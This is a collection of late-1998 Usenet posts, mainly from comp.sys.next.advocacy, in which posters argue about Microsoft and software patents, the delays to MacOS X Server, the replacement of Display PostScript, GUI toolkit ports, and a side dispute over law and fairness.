References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <36425AFD.D0D8EC3D@solarsystems.com> <36426F6E.2AED1A73@cygnus.com> <71u48m$dop$3@news.xmission.com> <slrn74a2v0.roj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <364521d7.0@news.depaul.edu> <3645B66C.397A603A@ieee.org> <3646A021.162FC622@ix.netcom.com> <qv64ss862wy.fsf@physp43.phys.canterbury.ac.nz> <3647E15E.7A2232BA@ix.netcom.com> <729lc5$hnd$1@nnrp1.dejanews.com> <72b6c2$16v$9@blue.hex.net> <72clqk$3ij$1@nnrp1.dejanews.com> <364A93F5.615EB064@ix.netcom.com> <72evh2$ut$1@nnrp1.dejanews.com> <slrn754d5n.n8k.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Matt Kennel wrote:
>
> On Thu, 12 Nov 1998 15:40:18 GMT, brlewis@my-dejanews.com wrote:
> :Are you saying that being a big firm with extensive resources makes you less
> :likely to be sued if you make software and more likely to be sued if you use
> :software? Seems inconsistent to me.
>
> Normally yes. But in this particular case, Microsoft's motivation is
> not to extract financial royalties, but to destroy development of the
> OSS product.
>
> :Anyway, if a small OSS developer did get sued, the EFF would be ready to help,
> :aided by donations from large firms such as Intel and Motorola who have heavy
> :stakes in OSS.
>
> Let's hope.
>
> I think Microsoft would have to be quite desperate to try this, and
> the obvious signs of this desperation perhaps would weigh more heavily
> on MSFT customers than the effects of the patent suits.
Not to mention the fact that the Microsoft legal team seems a bit tied
up right now. Additionally, a win in an infringement case might
actually set them back in terms of precedent -- quite a bit of their own
technology seems to me to be "borrowed". Anyone else feel the same?
I've even heard it said that a countersuit, were it to reveal GPL'ed
code used by Microsoft in violation of the license, might result in
Microsoft having to release *all* associated source code under the GPL.
Windows 2000 is supposed to have *35 Million* lines of code. What do
you suppose the chances are that something could be found?
But (as I always say), I'm no lawyer. Who knows?
Regards,
Jonathan
From: davewang@cslab.kecl.ntt.co.jp.DELETE.delete.DELETE@Glue.umd.edu (David T. Wang)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy
Date: 18 Nov 1998 02:29:41 GMT
Organization: University of Maryland, College Park
Message-ID: <72tbel$rcm$2@hecate.umd.edu>
References: <364295A3.ABE8C927@earthlink.net> <364B0920.74AB6512@spamtoNull.com> <72i4pl$e69$1@coward.cc.utah.edu> <364DAC84.DDC3A1A4@spamtoNull.com> <19981114211830178656@pm2-3-11.aug.com> <365069F2.4ED5904F@spamtoNull.com> <72qrqc$l0q@news1.panix.com> <cirby-1711981107070001@pm51-46.magicnet.net>
Chad Irby (cirby@magicnet.net) wrote:
: sal@panix.com wrote:
: > Jonathan Harker <Limeyville@spamtoNull.com> wrote:
: > >Right. Sworn testimony by two people with a long history of
: > >anti-Microsoft bias.
: >
: > Compaq is "anti-Microsoft"?
: Compaq is *very* anti-Microsoft, even more so than Apple. I've met enough
: upper-level folks from both companies, and the level of active dislike for
: MS in Compaq is startling. It's pretty much the same in the other clone
: companies, and in most Windows-based software companies.
: The more people work with Microsoft, the more they hate it.
My impression is a bit different. I know that Compaq does not like
Intel nor IBM, but I didn't see or hear about any enmity toward
Microsoft in my conversations with my friends still at Compaq. As a
matter of fact, on several occasions I've heard of Compaq employees
jokingly refer to themselves as the "hardware division of Microsoft".
As to the general level of frustration with Microsoft, it's kind of
universal, as Microsoft tends to dictate rather than consult, and
that could be frustrating for developers.
: --
: Chad Irby \ My greatest fear: that future generations will,
: cirby@magicnet.net \ for some reason, refer to me as an "optimist."
--
davewang@kagututi.kecl.ntt.co.jp.I.like.green.eggs.and.ham,not.spam
All statements are personal opinions
Not speaking for NTT or University of Maryland
Nara, Japan.
From: rr6013@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
References: <01be1188$01ce14e0$06387880@chewy> <whaddock-1711981824460001@digital-03-213.hou.neosoft.com>
<3652920B.A05B2B69@gsfc.nasa.gov>
Message-ID: <ayC42.2355$rY3.5672199@news.rdc1.sdca.home.com>
Date: Wed, 18 Nov 1998 16:25:42 GMT
NNTP-Posting-Date: Wed, 18 Nov 1998 08:25:42 PDT
Organization: @Home Network
In <3652920B.A05B2B69@gsfc.nasa.gov> Jeff Barber wrote:
> WPH wrote:
>
> > All I can say is that MacOS X Server is late, and I am tired of
> > waiting for Apple to release a modern OS. It's simply another
> > link in a very long chain of broken promises.
>
>
[snip MacOSXserver lament]
> Lately I've begun wondering how many disappointments it will
> take for this Mac fan to jump to Linux or Solaris or BeOS or whatever,
> maybe even NT. Sometimes you just get tired of waiting and run
> out of patience. Maybe I'll feel better tomorrow. Maybe not.
>
>
[snip pottyTalk threat]
I find all this tension wonderful news for the consuming public. So long
sold on one or the other OS on the market, people are just warming up to the
recognition that they have more choices. This looks like a future trend
with the computer-literati.
Sadly, NeXTSTEP isn't one of them to discover, it bodes well for Linux,
JavaOS et. al. While not surprised, I'm amazed how opportunities continue
to be lost on ex-NeXTalum.
-r
From: milo_mklinux@my-dejanews.com (Milo MkLinux)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: nice essay - a billion desktops
Message-ID: <3652fc3a.9680472@news.chicagonet.net>
References: <72s6bh$dfl$1@nnrp03.primenet.com>
NNTP-Posting-Date: Wed, 18 Nov 1998 11:57:35 EDT
Organization: ISPNews http://ispnews.com
Date: Wed, 18 Nov 1998 16:58:28 GMT
On 17 Nov 1998 15:56:33 GMT, John Jensen <jjens@primenet.com> wrote:
>There is a nice essay over at freshmeat:
>
> http://editorials.freshmeat.net/ajay981115/
>
>Computing is becoming a world phenomenum. The author raises the
>interesting point that the inexpensiveness of Linux could give it a
>billion desktops in less affluent nations.
>
>Even if the billion number falls short, I thing the demographic trend
>should be considered. It might mean for Apple that world wide share will
>never again go up.
Sure, and a comet might hit the earth, and NOBODY'S market share will
go up. :D
>I'm sure Apple can continue to make a business in affluent countries, but
>even there some customers might prefer a world platform.
You're forgetting that the Mac runs Linux.
>John
From: ashootos@roger.ecn.purdue.edu (Ashootosh P. S. Palayathan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: nice essay - a billion desktops
Date: 18 Nov 1998 17:09:47 GMT
Organization: Purdue University
Message-ID: <72uv0r$fj0@mozo.cc.purdue.edu>
References: <72s6bh$dfl$1@nnrp03.primenet.com> <72sh9j$m7m@mozo.cc.purdue.edu> <72tuss$4dd@bgtnsc01.worldnet.att.net>
"bobsun" <bobsun@worldnet.att.net> writes:
>Despite his apparently foreign background, Mr. Palayathan has not a clue as
>to the economics of the introduction of PCs into foreign countries,
>particularly the emerging nations in Asia. One of the most significant
>trends is the domestic manufacture of PCs. Indeed, inexpensive otherboards
>from Intel and from Taiwan play a critical role in this expansion. The
>intense price competition for all of the PC components, including the
>microprocessor, together with widespread availability of components has
>dramatically accelerated this trend. In a few years India and china will
>both replace Japan from it's position as the second strongest PC market. The
>Linex price provides a nice fit into this market. One has to realize,
>however, that all software costs are low in these countries (as in "free").
>Apple has completely isolated itself from this opportunity.
>bobsun
>Ashootosh P. S. Palayathan wrote in message
><72sh9j$m7m@mozo.cc.purdue.edu>...
>>
>>
>>
>>
>>
Yeah yeah! Bobsun! whatever! I guess everybody thought South-East Asia was
going to be a world class economic region but look at the debacle over
there now. My only point is that foreign or not, one can
still count on his fingers and come up with the fact that Apple may
or may not take advantage of Linux properly. What has happened has
happened, I just feel free to make my bets otherwise. That Apple and/or
the powerpc will take advantage of such growth better, period .
--
Ashootosh P.S Palayathan
School of Aeronautics and Astronautics
Purdue University
From: "Todd Heberlein (todd at NetSQ dot com)" <todd@dev.null>
Newsgroups: comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
Date: 18 Nov 1998 17:33:41 GMT
Organization: Net Squared, Inc.
Message-ID: <01be1317$dca3f220$06387880@chewy>
References: <01be1188$01ce14e0$06387880@chewy> <whaddock-1711981824460001@digital-03-213.hou.neosoft.com> <72tfuq$oj0@shelob.afs.com> <ZIt42.1609$rY3.5423920@news.rdc1.sdca.home.com>
Rex Riley <rr6013@yahoo.com>
> > >OS X Server now and I will be the first in the line to buy it.
> > I hope Santa brings you a fat pile of green, then. You're
> > gonna need it.
> What's with the FUD wrt. "fat pile of green". FUD is unlike
> Greg...
My interpretation of Greg's statement (which is probably wrong ;^) is that
Greg is frustrated by what he fears will be Apple's high price for MacOS X
Server as well as Apple's delays.
Greg completed his software many weeks ago, and every day that Apple
doesn't release MacOS X Server results in lost revenue (or at best,
deferred revenue).
Furthermore, if Apple charges a high price for MacOS X Server, fewer people
will buy it, which means fewer potential customers buying Greg's software
(and therefore, lost revenue).
Either that, or it must be repressed memories from something in Greg's
childhood. ;^)
Todd
From: cirby@magicnet.net (Chad Irby)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: ISSCC 1999
Date: 18 Nov 1998 17:55:05 GMT
Organization: MagicNet, Inc.
Message-ID: <cirby-1811981254260001@pm61-42.magicnet.net>
References: <71vjnd$ut@newsb.netnews.att.com> <72tua0$2l7@bgtnsc01.worldnet.att.net>
"bobsun" <bobsun@worldnet.att.net> wrote:
> It means that there is one piece of data somewhere that
> demonstrates that some particular circuit (perhaps a
> ring oscillator?) ran 30% faster when
> fabricated one their SOI process.
No, it pretty much means the whole chip runs faster. Add this to the
copper process, and IBM has some nice hardware on the way in the next
couple of months...
--
Chad Irby \ My greatest fear: that future generations will,
cirby@magicnet.net \ for some reason, refer to me as an "optimist."
From: "rew" <nospam@for.me>
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <36425AFD.D0D8EC3D@solarsystems.com> <36426F6E.2AED1A73@cygnus.com> <71u48m$dop$3@news.xmission.com> <slrn74a2v0.roj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <364521d7.0@news.depaul.edu> <3645B66C.397A603A@ieee.org> <3646A021.162FC622@ix.netcom.com> <qv64ss862wy.fsf@physp43.phys.canterbury.ac.nz> <3647E15E.7A2232BA@ix.netcom.com> <729lc5$hnd$1@nnrp1.dejanews.com> <72b6c2$16v$9@blue.hex.net> <72clqk$3ij$1@nnrp1.dejanews.com> <364A93F5.615EB064@ix.netcom.com> <72evh2$ut$1@nnrp1.dejanews.com> <slrn754d5n.n8k.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <3652EADF.70A8@xixaxsxtxaxtxex.xexdxu>
Subject: Re: YIKES! Pro-Linux people propagating anti-Linux FUD
Message-ID: <aTD42.268$pi5.99222@client.news.psi.net>
Date: Wed, 18 Nov 1998 17:56:22 GMT
NNTP-Posting-Date: Wed, 18 Nov 1998 12:56:22 EDT
Organization: PSINet
Jonathan wrote in message <3652EADF.70A8@xixaxsxtxaxtxex.xexdxu>...
>Matt Kennel wrote:
>>
>> On Thu, 12 Nov 1998 15:40:18 GMT, brlewis@my-dejanews.com wrote:
>> :Are you saying that being a big firm with extensive resources makes you
less
>> :likely to be sued if you make software and more likely to be sued if you
use
>> :software? Seems inconsistent to me.
>>
>> Normally yes. But in this particular case, Microsoft's motivation is
>> not to extract financial royalties, but to destroy development of the
>> OSS product.
>>
>Not to mention the fact that the Microsoft legal team seems a bit tied
>up right now. Additionally, a win in an infringement case might
>actually set them back in terms of precedent -- quite a bit of their own
>technology seems to me to be "borrowed". Anyone else feel the same?
>
>I've even heard it said that a countersuit, were it to reveal GPL'ed
>code used by Microsoft in violation of the license, might result in
>Microsoft having to release *all* associated source code under the GPL.
>Windows 2000 is supposed to have *35 Million* lines of code. What do
>you suppose the chances are that something could be found?
>
>But (as I always say), I'm no lawyer. Who knows?
>Regards,
>Jonathan
I'm very, very sure that Microsoft has a strict policy of not imbedding any
GPLed code in their products. Microsoft is not stupid.
And remember that the reason the big guys don't drive each other into
bankruptcy suing each other over patent infringement is that they all
have patent cross licensing agreements with each other. Linux has
no patents to trade, so can't play that game.
From: southpawSPAMAWAY@altavista.net (Kieran Reilly)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.comm,comp.sys.mac.apps,comp.sys.mac.hardware.storage
Subject: Mining Co. needs new host for MacOS section
Date: Wed, 18 Nov 1998 12:58:34 -0400
Organization: Remove SPAMAWAY to reply in email
User-Agent: MacSOUP/2.4b3
Message-ID: <1diox0e.proal41d2dxn8N@sdn-ar-002nynyorp172.dialsprint.net>
I just came across this at http://macos.miningco.com/.
> Be Our Guide
>
> Do you know all about Mac OS? We are
> currently seeking a Guide for this site.
If anyone is interested in running this Mac site, let 'em know at
http://apply.miningco.com
(I have nothing to do w/ miningco.com, but I find their sites very
useful.)
From: cirby@magicnet.net (Chad Irby)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 18 Nov 1998 18:12:04 GMT
Organization: MagicNet, Inc.
Message-ID: <cirby-1811981311250001@pm61-42.magicnet.net>
References: <364295A3.ABE8C927@earthlink.net> <364B0920.74AB6512@spamtoNull.com> <72i4pl$e69$1@coward.cc.utah.edu> <364DAC84.DDC3A1A4@spamtoNull.com> <19981114211830178656@pm2-3-11.aug.com> <365069F2.4ED5904F@spamtoNull.com> <72qrqc$l0q@news1.panix.com> <cirby-1711981107070001@pm51-46.magicnet.net> <72tbel$rcm$2@hecate.umd.edu>
davewang@cslab.kecl.ntt.co.jp.@Glue.umd.edu (David T. Wang) wrote:
> My impression is a bit different. I know that Compaq does not like
> Intel nor IBM, but I didn't see or hear about any enmity toward
> Microsoft in my conversations with my friends still at Compaq. As a
> matter of fact, on several occasions I've heard of Compaq employees
> jokingly refer to themselves as the "hardware division of Microsoft".
You need to sit backstage at some Compaq meetings. There might be folks
at Compaq that tolerate MS, but there are a *lot* of people who would very
happily provide the gas cans and matches for the Great MS Bonfire.
> As to the general level of frustration with Microsoft, it's kind of
> universal, as Microsoft tends to dictate rather than consult, and
> that could be frustrating for developers.
There's a huge difference between "frustration" and "wanting to stopm all
ver MS."
The flip side of the coin is the typical company that gets real friendly
with Microsoft. The phrase you hear at these meetings is "Strategic
Alliance with Microsoft." Sic months later, the phrases you hear are
"buyout" or "takeover," when the "allied" company is snapped up after
their big stock price drops.
Microsoft is a bad enemy and a worse friend.
--
Chad Irby \ My greatest fear: that future generations will,
cirby@magicnet.net \ for some reason, refer to me as an "optimist."
From: cirby@magicnet.net (Chad Irby)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 18 Nov 1998 18:13:20 GMT
Organization: MagicNet, Inc.
Message-ID: <cirby-1811981312410001@pm61-42.magicnet.net>
References: <364295A3.ABE8C927@earthlink.net> <adtF2Bw7x.Do7@netcom.com> <rbarris-ya023280001211981405070001@206.82.216.1> <adtF2CH1x.MEL@netcom.com> <72hpl5$10bs$1@nntp6.u.washington.edu> <adtF2E46H.L8C@netcom.com> <cirby-1411980253120001@pm61-25.magicnet.net> <364DC9E9.BF932E1B@spamtoNull.com> <cirby-1411981429060001@pm61-16.magicnet.net> <365063D1.A36D254E@spamtoNull.com> <ckoller-ya02408000R1611981433240001@netnews.worldnet.att.net> <3651AF3F.2FC36106@spamtoNull.com> <ckoller-ya02408000R1711981331510001@netnews.worldnet.att.net> <adtF2Lsnp.5nD@netcom.com>
adt@netcom.com (Anthony D. Tribelli) wrote:
> On the other hand I can't help but wonder how many defections the cloners
> prevented by offering more affordable MacOS solutions.
Not many. Everyone I knew who bought clones was shopping for
mid-to-high-end Apple products at the time.
--
Chad Irby \ My greatest fear: that future generations will,
cirby@magicnet.net \ for some reason, refer to me as an "optimist."
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Linux Apps on OSX
Date: 18 Nov 1998 18:23:13 GMT
Organization: Primenet (602)416-7000
Message-ID: <72v3ah$3u4$1@nnrp03.primenet.com>
References: <3649C384.DEE7E7E1@voy.net> <72ov5h$khl$1@reader1.reader.news.ozemail.net> <36504C35.7E40AA4D@voy.net> <72qrrs$l1b@news1.panix.com> <72s2g6$c43$1@nnrp03.primenet.com> <72tfvq$h34@news1.panix.com> <72tk9o$ojh$1@nnrp03.primenet.com>
<3652674D.78EBDD5A@nstar.net>
Michael J. Peck <mjpeck@nstar.net> wrote:
: John Jensen wrote:
: > You'd port the Gimp by replacing GTK+ calls for OSX GUI alternatives?
: >
: > The reson I mentioned the GTK+ port was that I had heard people discussing
: > that as a possible route for a migration off X11. From the postings I'd
: > seen, some people consider GTK+ a good enough and popular enough
: > abstraction layer to make that possible.
: I hope this doesn't come off as a flame, but the fact is that Qt is a
: better solution. It's already cross-platform and it's better than GTK+.
: There's no reason to speculate with regard to the feasability of
: Windows-cross-X11 development with GTK+; it's been possible for over a
: year now with Qt.
Well, the guy asked about the Gimp. The Gimp uses GTK+, so porting GTK+
to MacOS X seemed more obvious to me than porting the Gimp to Qt and then
porting Qt to MacOS X.
As an aside, and since you mentioned licenses, Qt is continuing to evolve
their position:
http://www.troll.no/qpl/
John
From: not@my.address.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 17 Nov 1998 22:00:58 GMT
Organization: Arizona State University
Message-ID: <72srmq$ah4$1@news.asu.edu>
References: <364295A3.ABE8C927@earthlink.net> <364CA67E.6C5A5121@exu.ericsson.se> <72k3jj$68e@newsb.netnews.att.com> <3650804E.936482E6@exu.ericsson.se> <72pufo$goo@newsb.netnews.att.com> <36509448.18CC0E10@exu.ericsson.se>
In-Reply-To: <36509448.18CC0E10@exu.ericsson.se>
On 11/16/98, Michael Peck wrote:
>murder transgresses one of the two Fundamental
>Laws common to nearly every society, religion, or creed:
>
>1) Do not encroach on your neighbor's person or property.
>2) Do all that you have said you will do
>
>No court can revoke or weaken either of these laws. They are fundamental
>to everything we stand for, legally (or used to stand for). Note that
>they are fundamental and common in terms of logical reduction, not
>truncation.
Let's test that claim. Let's see if everything we stand for, legally (or used
to stand for) can be `logically reduced' to one or both of these "Two
Fundamental Laws".
How, for example, does the "logical reduction" go in the case of statutory rape?
Incest? Restrictions on the practice of medicine and law? Laws establishing
corporations? The law of estates? Laws establishing legislatures? Laws
guaranteeing freedom of speech and the press? The draft? The unenforceability
of promises not made in exchange for something of value? Common law principles
of contract such as unconscionability and diminished capacity? The common law
principle that gambling debts are unenforceable? How about the common law rule
that the only remedy for breach of contract is money damages (rather than
specific enforcement)? Or the rule at equity limiting the remedy of specific
enforcement to contracts for the purchase/sale of land? Or the differences
between the remedy available at equity for a claim to restitution and the remedy
available at common law for a claim in contract? How about the common law
principle of precedent (compared, for example, to the practice on courts of
equity, or to countries that have a legal system based on the Napoleonic Code)?
How about the law of negotiable instruments (currency, checks, etc.)? Laws
against treason?
From: Mike Paquette <mpaque@ncal.verio.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Tweaking fonts (was Re: I grow old)
Date: Wed, 18 Nov 1998 11:43:31 -0800
Organization: Electronics Service Unit No. 16
Message-ID: <3653235B.E74D2BDC@ncal.verio.com>
References: <azF02.13909$yb5.13282084@news.rdc1.sdca.home.com> <01be09b9$ccdf2b50$06387880@chewy> <36435965.0@news.depaul.edu> <71vmqv$8be@shelob.afs.com> <364366BF.44BC800A@tone.ca> <71vti6$96p@shelob.afs.com> <726u8k$dkf$2@sun27.hrz.tu-darmstadt.de> <forrestDELETE-THIS!-0911981126120001@term3-8.vta.west.net> <727i58$d2b$2@sun27.hrz.tu-darmstadt.de> <727kku$rih@shelob.afs.com> <ZmN12.63$rY3.396017@news.rdc1.sdca.home.com> <728f6m$g3@shelob.afs.com> <3647DCC4.4792B75A@trilithon.com> <qc_12.116$rY3.724777@news.rdc1.sdca.home.com> <36493710.E6588BA1@trilithon.com> <0Dm22.450$rY3.970431@news.rdc1.sdca.home.com> <364F6665.8D0BA59A@trilithon.com> <72opu2$nbk$1@news.xmission.com>
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Don Yacktman wrote:
> Anyway, I wonder if this sort of thing will even be possible at all in
> Display PDF, given that there is no server to query. If I had to read in and
> interpret all the Font crap myself I'd never have been able to implement this
> sort of thing in such a short time...and I probably wouldn't have bothered.
> Having the DPS server do it for you is so much easier. And why write your
> own code to interpret fonts if there's already code to do it built into the
> system?
Eggzactly!
> I think it is issues like these and the fact that Apple hasn't told us what
> this so called "Display PDF" will and won't do, that has so many old-timers
> upset about the upcoming loss of DPS. If we still get the functionality,
> then it is no biggie, but lose stuff like this and you lose a lot of cool
> apps/functionality you might otherwise have.
You'll still get the functionality. You'll be able to get outlines from
the font machinery, futz with them, and stroke or fill them. The only
functionality that's disappearing is the presence of a native PostScript
interpreter, so you'll have to call C functions instead of PostScript
wraps. Instead of a single monolithic server, there's a bunch of
services, including windowing, fonts, and so on.
By the way, we're not doing 'Display PDF'. We're doing a graphics
system that supports the PostScript imaging model (NOT language, IMAGING
MODEL), and will support PDF as a document exchange format. ('A'
document exchange format, not the sole format.)
From: mgiddings@nospam.ypc.net
Newsgroups: comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
Date: 18 Nov 1998 22:08:17 GMT
Organization: Crock of Stellar Bovine
Distribution: world
Message-ID: <72vggh$rqs$1@coward.cc.utah.edu>
References: <01be1188$01ce14e0$06387880@chewy> <whaddock-1711981824460001@digital-03-213.hou.neosoft.com>
<3652920B.A05B2B69@gsfc.nasa.gov> <ayC42.2355$rY3.5672199@news.rdc1.sdca.home.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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NNTP-Posting-Date: 18 Nov 1998 22:08:17 GMT
In <ayC42.2355$rY3.5672199@news.rdc1.sdca.home.com> Rex Riley wrote:
[snip]
>
> Sadly, NeXTSTEP isn't one of them to discover, it bodes well for Linux,
> JavaOS et. al. While not surprised, I'm amazed how opportunities
> continue
> to be lost on ex-NeXTalum.
>
> -r
>
>
The ex-next users/developers/supporters I know of haven't been lost on the
possibilities. The problem is, those opportunities are a quickly moving
target with Apple's bad management of this issue - and have been ever since
the early days dealing with NeXT. Everyone has a limit of patience. Many
of those limits were reached a long time ago, and sadly, those people are
gone. The few of us who remain appear to be reaching those limits with
this latest fiasco (the non-release and virtual non-existence of info about
MOSXS). I am one of them.
When Apple acquired NeXT (or the inverse as the case may be), there was
great joy amongst the remaining NeXT community about the new opportunities.
Since that time, those opportunities have been an ever shrinking horizon,
through delays, bad communication, mixed messages, changes in architecture
(e.g. DPS removal), and on and on.
My personal opinion is that Steve Jobs has become the worst type of cynic,
who believes that the public really doesn't desire a superior product, and
therefore, why give it to them? Especially when making a computer with
nice colors and a sleek design can sell product. . . "Give the public
what they want." Since MS has lowered the bar substantially in what people
expect out of a computer system, why even attempt the hard fight of raising
that bar? Instead, play the same game they do. It's a proven model. Just
observe MS's stock price.
The only problem with that approach is that it ignores the influence of
"early adopters" on the *future* direction of things. However, maybe SJ
and co. figure that these people are no longer very relevant, now that a
substantial portion of the computer infrastructure in the country is
already in place. Maybe they are right.
Of course my opinion could be wrong. Maybe Jobs and Co. still do believe
in advancing the state of the computer world to benefit their customers
(and of course sell more computers). But I don't see any substantial
evidence indicating this coming from Cupertino these days. Instead, I see
lots of evidence that they've found the recipe that "hype sells" and they
are milking it to the fullest, all else be damned.
Apple needs a wake up call. Though not visible to the mainstream, it is
continuing to bleed around the edges as long as it looses developers and
"power users". For example, though the work I do developing software
related to DNA analysis is not a "mass consumption" item, it does result in
computer sales in a way that directly grows the user base. That is because
the people I deal with care about the *solution* to a problem, and if that
solution runs best on a Mac, they buy that, no questions asked.
However, currently, the software that myself and colleagues has developed
runs on "vaporware" and "promises", the source of which has proven time and
again to be highly unreliable. Apple is currently exhibiting eerily
familiar behavior (to those of us from the NeXT world), which from past
experience was almost *never* good.
I think it's time to reconsider Linux, now that it's closer to prime
time... (I just wish I didn't hate X-windows so much).
Michael Giddings
To reply by email, remove "nospam" from address.
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Tweaking fonts (was Re: I grow old)
Date: 18 Nov 1998 20:45:01 GMT
Organization: MiscKit Development
Message-ID: <72vbkd$i68$1@news.xmission.com>
References: <azF02.13909$yb5.13282084@news.rdc1.sdca.home.com> <01be09b9$ccdf2b50$06387880@chewy> <36435965.0@news.depaul.edu> <71vmqv$8be@shelob.afs.com> <364366BF.44BC800A@tone.ca> <71vti6$96p@shelob.afs.com> <726u8k$dkf$2@sun27.hrz.tu-darmstadt.de> <forrestDELETE-THIS!-0911981126120001@term3-8.vta.west.net> <727i58$d2b$2@sun27.hrz.tu-darmstadt.de> <727kku$rih@shelob.afs.com> <ZmN12.63$rY3.396017@news.rdc1.sdca.home.com> <728f6m$g3@shelob.afs.com> <3647DCC4.4792B75A@trilithon.com> <qc_12.116$rY3.724777@news.rdc1.sdca.home.com> <36493710.E6588BA1@trilithon.com> <0Dm22.450$rY3.970431@news.rdc1.sdca.home.com> <364F6665.8D0BA59A@trilithon.com> <72opu2$nbk$1@news.xmission.com> <3653235B.E74D2BDC@ncal.verio.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: 18 Nov 1998 20:45:01 GMT
Mike Paquette <mpaque@ncal.verio.com> wrote:
> Don Yacktman wrote:
> > I think it is issues like these and the fact that Apple hasn't told
> > us what this so called "Display PDF" will and won't do, that has so
> > many old-timers upset about the upcoming loss of DPS. If we still
> > get the functionality, then it is no biggie, but lose stuff like
> > this and you lose a lot of cool apps/functionality you might
> > otherwise have.
>
> You'll still get the functionality. [...]
That's good to hear. Given the dearth of information on this thing, very few
people outside of Apple have any idea of what the heck it will and won't do
when contrasted against what we know we can do with DPS. There's a lot of
anxiety over this, I will tell you. Apple severely needs to do a better job
of communicating this sort of stuff to developers. The current "radio
silence" coupled with what appear to be inexplicable delays in MOSXS is NOT
endearing to anyone and may do a lot of long term damage.
> By the way, we're not doing 'Display PDF'. We're doing a graphics
> system that supports the PostScript imaging model (NOT language,
> IMAGING MODEL), and will support PDF as a document exchange format.
> ('A' document exchange format, not the sole format.)
I know that...but, around here, again due to the dearth of concrete
information, that has become popular terminology even if it isn't 100%
technically accurate.
Additionally, I think that nobody here is willing to call it Enhanced
Quickdraw precisely because Lawson ruined the name "QuickDraw" for
*everybody* here by overdoing his GX advocacy to the point that "QuickDraw"
and "GX" are considered the vilest of expletives by many of the csna patrons.
Thus "Display PDF" is more comfortable. Besides which, calling it any kind
of "QuickDraw" seems more than a little misleading since it is using an
entirely different display model than what QuickDraw uses...smells way
heavily of marketing to me...
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.yacktman.org/don/index.html">My home page</a>
From: michael_peck@my-dejanews.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Wed, 18 Nov 1998 22:08:17 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <72vgg2$rh3$1@nnrp1.dejanews.com>
References: <364295A3.ABE8C927@earthlink.net> <3650804E.936482E6@exu.ericsson.se> <72pufo$goo@newsb.netnews.att.com> <36509448.18CC0E10@exu.ericsson.se> <72q6l0$ps2@newsb.netnews.att.com> <3650B378.684BEB0E@exu.ericsson.se> <72qrjk$kui@news1.panix.com> <3651D8E7.BC900F00@exu.ericsson.se> <72tga5$h6o@news1.panix.com>
In article <72tga5$h6o@news1.panix.com>,
sal@panix.com wrote:
> On Tue, 17 Nov 1998 14:13:27 -0600,
> The job of our elected officials is to do what is just, what is needed and
> what is fair, not what is popular. A law banning flag burning, the
> communist party and the spice girls might be popular, but not fair.
>
> The big question, is "Who should decide what is fair?"
>
> Ultimately it is the voters who decide.
You are completely and totally confused. You say:
"The job of our elected officials is to do...what is fair."
and you say:
"Ultimately it is the voters who decide [what is fair]."
Now, either this is a direct contradiction in the space of four sentences, or
you mean that elected officials should do the will of the people by direct
referendum.
Then again, you say that officials should do "what is just, what is needed
and what is fair, not what is popular" followed by "ultimately it is the
voters who decide". Just what do you refer to by "popular"?! If it is voters
who decide, then yes, officials must do what is popular.
> >You're not quite as good at concealing twisted logic as you think you
> >are.
>
> I'm not concealing anything.
Not at this point. How embarassing for you.
MJP
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: adt@netcom.com (Anthony D. Tribelli)
Subject: Re: "Knife the baby" finally appears
Message-ID: <adtF2n1wL.Do6@netcom.com>
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy
Organization: ICGNetcom
References: <364295A3.ABE8C927@earthlink.net> <adtF2K0yo.K7D@netcom.com> <atticus- <adtF2Ls51.4v6@netcom.com> <72uq90$150c$1@nntp6.u.washington.edu>
Date: Wed, 18 Nov 1998 22:17:09 GMT
Sender: adt@netcom14.netcom.com
R. Tang (gwangung@u.washington.edu) wrote:
: Anthony D. Tribelli <adt@netcom.com> wrote:
: >Actually our disagreement seems to be about what constitutes a
: >marketplace. I think the PowerPC consumer oriented dekstop market is a
: >different market than the x86 market. I don't think that the fact that the
: >two markets compete for the same end users changes the fact that each
: >market is internally 'controlled' by one company.
:
: Two markets competing for the same users are NOT two markets;
: they're one market.
